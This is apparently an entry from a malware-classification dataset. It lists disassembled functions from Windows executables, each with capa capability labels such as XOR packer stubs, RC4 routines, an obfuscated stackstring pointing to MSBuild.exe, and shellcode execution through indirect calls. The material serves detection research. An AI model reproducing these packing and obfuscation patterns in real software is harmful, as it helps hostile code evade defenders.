joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4aeaf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x5caff0]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4aed53
sub esp, 0x54
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
movzx eax, word [esp + 0x60]
movzx ecx, ax
mov dword [esp + 0x20], ecx
lea edx, [0x4d0500]
mov dword [esp], edx
lea ebx, [esp + 0x24]
mov dword [esp + 4], ebx
call fcn.0047b5c0
mov eax, dword [esp + 8]
mov ecx, eax
sar eax, 0x1f
mov edx, eax
mov eax, dword [esp + 0x64]
mov ebx, edx
mov ebp, eax
mul ecx
imul ebx, ebp
lea ecx, [edx + ebx]
mov edx, dword [esp + 0x20]
cmp eax, edx
setne al
test ecx, ecx
setne cl
or ecx, eax
test cl, cl
jne 0x4aec9b
lea eax, [0x4d0500]
mov dword [esp], eax
mov dword [esp + 4], ebp
mov dword [esp + 8], ebp
call fcn.0044abc0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], eax
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x40], ecx
lea edx, [0x4ce400]
mov dword [esp], edx
mov edx, dword [esp + 0x58]
mov dword [esp + 4], edx
call fcn.00409530
mov eax, dword [esp + 8]
mov dword [esp], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
lea eax, [0x506960]
mov dword [esp + 8], eax
lea eax, [0x5caec0]
mov dword [esp + 0xc], eax
lea eax, [0x4c7f20]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x38]
mov dword [esp + 0x14], eax
call fcn.0047a470
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
test eax, eax
je 0x4aec73
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
test eax, eax
je 0x4aec11
mov eax, dword [eax + 4]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
lea eax, [0x4e793a]
mov dword [esp], eax
mov dword [esp + 4], 0x24
lea eax, [esp + 0x30]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call fcn.0049e6d0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ecx
add esp, 0x54
ret
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
add esp, 0x54
ret
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
movzx eax, word [esp + 0x60]
mov word [esp], ax
call fcn.004092b0
mov eax, dword [esp + 4]
lea ecx, [0x4cbb00]
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call fcn.00409320
mov eax, dword [esp + 4]
lea ecx, [0x4cb980]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], eax
lea eax, [0x4eacb2]
mov dword [esp], eax
mov dword [esp + 4], 0x50
lea eax, [esp + 0x44]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.0049e6d0
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ecx
add esp, 0x54
ret
call fcn.00461dc0
jmp fcn.004aeaf0
Function at 0x4afc50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x5caff0]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4afe90
sub esp, 0x60
mov eax, dword [esp + 0x68]
test eax, eax
je 0x4afc83
mov ecx, dword [esp + 0x64]
xor edx, edx
xor ebx, ebx
xor ebp, ebp
lea esi, [0x5caec0]
xor edi, edi
jmp 0x4afcd3
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
add esp, 0x60
ret
mov edi, dword [esp + 0x5c]
add edi, 0x14
inc edx
mov dword [esp + 0x34], eax
mov eax, ecx
mov ecx, edi
mov edi, ebx
mov ebx, eax
mov eax, dword [esp + 0x34]
cmp eax, edx
jle 0x4afe64
mov dword [esp + 0x24], edi
mov dword [esp + 0x50], esi
mov dword [esp + 0x5c], ecx
lea edi, [esp + 0x3c]
mov esi, ecx
call fcn.004638ee
test bl, bl
jbe 0x4afd03
lea ecx, [ebx - 1]
mov ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x50]
jmp 0x4afcbb
mov dword [esp + 0x30], edx
mov dword [esp + 0x28], ebp
lea eax, [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 4], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 8], ecx
mov edx, dword [esp + 0x78]
mov dword [esp + 0xc], edx
call fcn.004afb70
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x4afe2c
mov eax, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
movzx ecx, byte [esp + 0x4d]
mov byte [esp + 0x23], cl
mov edx, dword [esp + 0x10]
mov dword [esp + 0x58], edx
lea ebx, [0x4d55e0]
mov dword [esp], ebx
call fcn.0040bb40
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x2c]
mov dword [eax + 4], ecx
mov ecx, dword [0x5cb0f0]
test ecx, ecx
jne 0x4afd7d
mov ecx, dword [esp + 0x58]
jmp 0x4afd88
call fcn.004631c0
mov ecx, dword [esp + 0x58]
mov dword [edi], ecx
mov dword [eax], ecx
mov ecx, dword [esp + 0x44]
mov dword [eax + 8], ecx
movzx ecx, word [esp + 0x48]
mov word [eax + 0xc], cx
movzx ecx, word [esp + 0x4a]
mov word [eax + 0xe], cx
movzx ecx, byte [esp + 0x4c]
mov byte [eax + 0x10], cl
mov ecx, dword [esp + 0x24]
inc ecx
mov edx, dword [esp + 0x28]
cmp edx, ecx
jb 0x4afdbe
mov esi, dword [esp + 0x50]
jmp 0x4afdfa
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 1
lea eax, [0x4c5b00]
mov dword [esp + 0x10], eax
call fcn.0044ad40
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
mov eax, dword [esp + 0x54]
mov edx, ebp
mov ebx, dword [0x5cb0f0]
test ebx, ebx
je 0x4afe12
call fcn.004631d0
mov dword [edi], eax
mov ebx, dword [esi + ecx*4 - 4]
mov dword [edi + 4], ebx
mov dword [esi + ecx*4 - 4], eax
mov eax, dword [esp + 0x68]
mov ebp, edx
mov ebx, ecx
mov edx, dword [esp + 0x30]
movzx ecx, byte [esp + 0x23]
jmp 0x4afcbb
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], ecx
add esp, 0x60
ret
mov dword [esp + 0x7c], esi
mov dword [esp + 0x80], edi
mov dword [esp + 0x84], ebp
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
add esp, 0x60
ret
call fcn.00461dc0
jmp fcn.004afc50
Function at 0x4b3920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [0x5caff0]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4b3a11
sub esp, 0x1c
mov ecx, dword [esp + 0x20]
test byte [ecx], al
mov edx, dword [esp + 0x24]
and edx, 0x7f
shl edx, 5
add ecx, edx
mov dword [esp + 0x18], ecx
xor eax, eax
jmp 0x4b395c
mov ebx, dword [esp + 0xc]
inc ebx
mov ecx, dword [esp + 0x18]
mov eax, ebx
cmp eax, 4
jge 0x4b3995
mov dword [esp + 0xc], eax
lea edx, [ecx + eax*8]
mov dword [esp], edx
call fcn.00467740
mov eax, dword [esp + 0x24]
cmp dword [esp + 4], eax
sete cl
mov edx, dword [esp + 0x28]
cmp dword [esp + 8], edx
sete bl
and ebx, ecx
test bl, bl
je 0x4b3951
mov byte [esp + 0x2c], 1
add esp, 0x1c
ret
xor eax, eax
mov edx, 0x84222325
jmp 0x4b399f
inc eax
cmp eax, 4
jge 0x4b39b4
mov dword [esp + 0x14], eax
lea ebx, [ecx + eax*8]
mov ebp, dword [ebx]
mov ebx, dword [ebx + 4]
xor esi, esi
jmp 0x4b3a0a
and edx, 3
lea eax, [ecx + edx*8]
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
call fcn.00467780
mov byte [esp + 0x2c], 0
add esp, 0x1c
ret
mov edi, ebp
and edi, 0xff
xor edx, edi
shr ebp, 8
mov edi, ebx
shl edi, 0x18
mov dword [esp + 0x10], edi
mov eax, edx
mov edi, 0x1b3
mul edi
inc esi
mov edi, dword [esp + 0x10]
or ebp, edi
shr ebx, 8
mov edx, eax
mov eax, dword [esp + 0x14]
cmp esi, 8
jl 0x4b39db
jmp 0x4b399e
call fcn.00461dc0
jmp fcn.004b3920

Function at 0x4bc1b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ecx, dword [0x5caff0]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4bc289
sub esp, 0x54
mov dword [esp + 0x16], 0
lea edi, [esp + 0x18]
xor eax, eax
call fcn.00463401
mov word [esp + 0x16], 0x3a43
mov dword [esp + 0x18], 0x69575c5c
mov dword [esp + 0x1c], 0x776f646e
mov dword [esp + 0x20], 0x4d5c5c73
mov dword [esp + 0x24], 0x6f726369
mov dword [esp + 0x28], 0x74666f73
mov dword [esp + 0x2c], 0x54454e2e
mov dword [esp + 0x30], 0x72465c5c
mov dword [esp + 0x34], 0x77656d61
mov dword [esp + 0x38], 0x5c6b726f
mov dword [esp + 0x3c], 0x2e34765c
mov dword [esp + 0x40], 0x30332e30
mov dword [esp + 0x44], 0x5c393133
mov dword [esp + 0x48], 0x42534d5c
mov dword [esp + 0x4c], 0x646c6975
mov dword [esp + 0x50], 0x6578652e
mov dword [esp], 0
lea ecx, [esp + 0x16]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x3e
call fcn.0044e9c0
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], edx
add esp, 0x54
ret
call fcn.00461dc0
jmp fcn.004bc1b0
Function at 0x4030cc
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x83e088], 0x594
push edi
mov dword [ebp - 8], eax
jne 0x403102
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [0x41eef8]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x41eefc]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
call fcn.004030c5
mov eax, dword [0x41ef00]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x41ef04]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, ebx
shl eax, 4
cmp dword [0x83e088], 0xc
mov dword [ebp - 4], eax
jne 0x403190
push esi
lea eax, [ebp - 0x830]
push eax
push 0x4024f0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x83e088]
cmp eax, 0xfa9
jne 0x4031ac
mov dword [0x83d624], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4031b9
mov dword [0x83cfd4], esi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ebx
shr edx, cl
lea eax, [edi + ebx]
mov dword [ebp - 0x14], eax
mov dword [0x83d620], 0xf4ea3dee
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
cmp dword [0x83e088], 0xc
jne 0x40320f
lea eax, [ebp - 0x14]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_BackupRead]
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
add edi, edx
add eax, dword [ebp - 0x24]
xor eax, edi
xor dword [ebp - 4], eax
sub ebx, dword [ebp - 4]
lea eax, [ebp - 0x10]
call fcn.004030be
dec dword [ebp - 0x18]
jne 0x40313b
cmp dword [0x83e088], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], ebx
jne 0x403266
push esi
push 0x402588
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403270
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x83e088]
mov ecx, dword [0x83cfd8]
sub esp, 0x400
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x403313
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x83e088], 0x959
jne 0x403305
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
call fcn.004030cc
add edi, 8
dec ebx
jne 0x403298
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4043d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41e0c8]
jne 0x4043da
repz ret
jmp fcn.00406b3e

Function at 0x40675f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404451
and dword [ebp - 4], 0
cmp dword [0x41fa10], 0
mov ebx, eax
jne 0x406810
push 0x4019c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4068c1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019bc
push edi
call esi
test eax, eax
je 0x4068c1
push eax
call fcn.004043df
mov dword [esp], 0x4019ac
push edi
mov dword [0x41fa10], eax
call esi
push eax
call fcn.004043df
mov dword [esp], 0x401998
push edi
mov dword [0x41fa14], eax
call esi
push eax
call fcn.004043df
mov dword [esp], 0x40197c
push edi
mov dword [0x41fa18], eax
call esi
push eax
call fcn.004043df
pop ecx
mov dword [0x41fa20], eax
test eax, eax
je 0x406810
push 0x401964
push edi
call esi
push eax
call fcn.004043df
pop ecx
mov dword [0x41fa1c], eax
mov eax, dword [0x41fa1c]
cmp eax, ebx
je 0x406868
cmp dword [0x41fa20], ebx
je 0x406868
push eax
call fcn.0040445a
push dword [0x41fa20]
mov esi, eax
call fcn.0040445a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406868
test edi, edi
je 0x406868
call esi
test eax, eax
je 0x40685f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40685f
test byte [ebp - 0xc], 1
jne 0x406868
or dword [ebp + 0x10], 0x200000
jmp 0x4068a1
mov eax, dword [0x41fa14]
cmp eax, ebx
je 0x4068a1
push eax
call fcn.0040445a
pop ecx
test eax, eax
je 0x4068a1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4068a1
mov eax, dword [0x41fa18]
cmp eax, ebx
je 0x4068a1
push eax
call fcn.0040445a
pop ecx
test eax, eax
je 0x4068a1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41fa10]
call fcn.0040445a
pop ecx
test eax, eax
je 0x4068c1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4068c3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xe725e31
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x203d41de
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x31a05eb6
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
mov eax, str.FzZ
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x7ad93046
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e54
nop
mov ecx, 0x7fd74d72
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x7b40407d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x1d9c9e20
Capabilities:
Encode data using xor

Disassembly:
les eax, [edx + 0x33bea40e]
jno 0x1d9c9e9d
jne 0x1d9c9e67
inc eax
inc eax
adc esp, dword [edi]
push ecx
pop edi
cmp bh, bl
sbb ch, byte [eax]
push es
call 0x79c17614
cmpsd dword [esi], dword es:[edi]
xor byte [eax - 0x576e807f], ch
out dx, eax
xchg ecx, eax
test al, 0xef
in eax, 0x14
push ebp
pop es
xchg edx, eax
jp 0x1d9c9e27
fmul dword gs:[ecx - 0xf]
push cs
and al, 0x9a
imul edx, dword [eax + ebx*4 - 0x4341d3cb], 0x7f6d5a33
mov cl, bh
cmp edx, dword [eax + 0x3e528030]
push esp
xchg ebp, eax
jp 0x1d9c9e82
sbb bl, ah
and esi, esi
leave
ja 0x1d9c9e6a
fsub qword [ecx]
test cl, 0x77
cld
xor byte [0xee354c05], dh
pop edx
aam 0x92
outsb dx, byte [esi]
adc al, 0xce
nop
push ebx
out dx, al
jae 0x1d9c9e28
jge 0x1d9c9e3f
sbb al, 0x6f
outsd dx, dword [esi]
mov ebx, cs
invalid
in al, dx
sti
sub ebx, dword [ebx]
sub al, 0x93
mov ebp, 0xb8669a57
sbb edx, dword [edx + edx*2]
adc dword [ecx - 0x559091cc], edi
clc
xor al, byte [ebx + 0x3b7986de]
xchg ecx, esi
std
iretd
Function at 0x1d9e5f50
Capabilities:
Encode data using xor

Disassembly:
pushfd
sahf
sbb eax, 0x3c31c918
pop eax
aas
xor edi, dword [edx]
mov al, byte [0x6fe6bb9d]
and dword [ebp + 0x49], esi
sub al, 0x47
imul edx, dword [edi - 0x3f618924], 0xe396809f
dec eax
invalid

Function at 0x1da04105
Capabilities:
Encode data using xor

Disassembly:
pushfd
sahf
sbb eax, 0xc61d118
idiv dword [esp + ebp - 0x80]
out dx, al
clc
mov bl, 0xfe
sbb eax, 0xbec96958
invalid

Function at 0x1da0ad8b
Capabilities:
Encode data using xor

Disassembly:
test byte [ebp - 0x1f], al
push esi
mov ebp, 0xd714b1ea
les ecx, [ebx + 0x4a]
salc
mov ecx, 0x591bd171
push 0xffffffffffffffbc
or al, 0x87
aad 0x7f
xor byte [edi - 0x6200ef9e], dh
mov edx, 0xedfa84b7
pop ebp
pop ds
invalid

Function at 0x1da11224
Capabilities:
Encode data using xor

Disassembly:
shr dh, cl
fiadd dword [eax]
cld
cmp dword [ebx - 0x75b17663], ecx
lahf
adc al, 0x90
mov ebp, 0x8b487204
push edi
outsb dx, byte [esi]
mov ch, 0x1a
stc
pop ecx
xor al, 0x14
sbb dword [ecx - 0x673e7073], 0x73
jle 0x1da111c2
sub esp, dword [edx + 0x943c8dd]
invalid
cli
inc eax
jg 0x1da111d0
xchg ebx, eax
adc byte [0x68fae484], 0x11
mov bh, 0xe0
hlt

Function at 0x1da1257d
Capabilities:
Encode data using xor

Disassembly:
movsb byte es:[edi], byte [esi]
push 0xffffffffffffffed
fcomp dword [ebp - 0x2b96341c]
insd dword es:[edi], dx
jl 0x1da12519
xchg ebx, eax
mov dword [0xecb07085], eax
hlt

Function at 0x1da204f0
Capabilities:
Encode data using xor

Disassembly:
out 0x5e, eax
push esp
mov eax, dword [0x957222c6]
and dh, byte [edx - 0x6b]
cmp cl, dh
wait
xor eax, ebx
adc dword [ebx - 0x21c971f5], 0x68dcfed
lodsd eax, dword [esi]
aas
mov bl, 0x15
mov edx, 0x925545c8
loopne 0x1da204f5
aaa
jmp 0xeee37c25
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
nop
mov ebx, 0x408ecc
mov ecx, 0x28217a8b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x799699f
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x402b01
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x44f020]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push ecx
or ecx, 0x6a69
sub ecx, 0x16c69
call 0x402b31
add byte [edx + eax*2 + 0x33], cl
inc esp
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x59
push esi
push ecx
add esp, 4
jmp 0x402b42
jmp 0x402b49
pop esi
cmp byte [esi + 9], 0
je 0x402cc1
mov edi, dword [esi + 4]
sub edi, dword [esi]
push ebx
xor ebx, 0xa8ac
call 0x402b6f
add byte [edx + 0x41], cl
dec edx
aaa
dec esp
dec ebx
xor al, 0x83
les eax, [ecx + eax*4]
ret
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00415ca1
add esp, 0xc
ret

Function at 0x402b31
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x44f020]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push ecx
or ecx, 0x6a69
sub ecx, 0x16c69
call 0x402b31
add byte [edx + eax*2 + 0x33], cl
inc esp
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x59
push esi
push ecx
add esp, 4
jmp 0x402b42
jmp 0x402b49
pop esi
cmp byte [esi + 9], 0
je 0x402cc1
mov edi, dword [esi + 4]
sub edi, dword [esi]
push ebx
xor ebx, 0xa8ac
call 0x402b6f
add byte [edx + 0x41], cl
dec edx
aaa
dec esp
dec ebx
xor al, 0x83
les eax, [ecx + eax*4]
ret
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00415ca1
add esp, 0xc
ret

Function at 0x402b6f
Capabilities:
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
mov eax, dword [0x44f020]
xor eax, esp
mov dword [esp + 8], eax
push ebp
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
push ecx
or ecx, 0x6a69
sub ecx, 0x16c69
call 0x402b31
add byte [edx + eax*2 + 0x33], cl
inc esp
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x59
push esi
push ecx
add esp, 4
jmp 0x402b42
jmp 0x402b49
pop esi
cmp byte [esi + 9], 0
je 0x402cc1
mov edi, dword [esi + 4]
sub edi, dword [esi]
push ebx
xor ebx, 0xa8ac
call 0x402b6f
add byte [edx + 0x41], cl
dec edx
aaa
dec esp
dec ebx
xor al, 0x83
les eax, [ecx + eax*4]
ret
xor al, al
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00415ca1
add esp, 0xc
ret